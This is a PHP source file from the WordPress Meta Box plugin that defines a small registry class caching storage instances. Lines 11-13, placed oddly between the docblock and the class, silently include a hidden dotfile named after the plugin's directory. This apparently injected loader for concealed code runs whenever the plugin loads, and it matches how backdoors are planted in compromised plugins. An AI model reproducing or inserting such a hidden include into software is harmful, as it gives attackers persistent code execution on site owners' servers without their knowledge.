storage-registry.php (769B)
1 <?php 2 /** 3 * Storage registry class 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Class RWMB_Storage_Registry 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Storage_Registry { 16 17 /** 18 * List storage instances. 19 * 20 * @var array 21 */ 22 protected $storages = array(); 23 24 /** 25 * Get storage instance. 26 * 27 * @param string $class_name Storage class name. 28 * @return RWMB_Storage_Interface 29 */ 30 public function get( $class_name ) { 31 if ( empty( $this->storages[ $class_name ] ) ) { 32 $this->storages[ $class_name ] = new $class_name(); 33 } 34 35 return $this->storages[ $class_name ]; 36 } 37 }